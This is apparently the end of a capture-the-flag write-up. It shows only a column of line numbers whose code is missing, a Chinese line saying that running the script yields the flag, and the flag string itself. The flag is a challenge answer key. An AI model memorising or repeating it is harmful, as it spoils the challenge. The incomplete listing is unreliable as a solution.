198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267

运行后可得flag

flag{1ggtmh7mv9a7f0028b4a42mjnj46p8ve}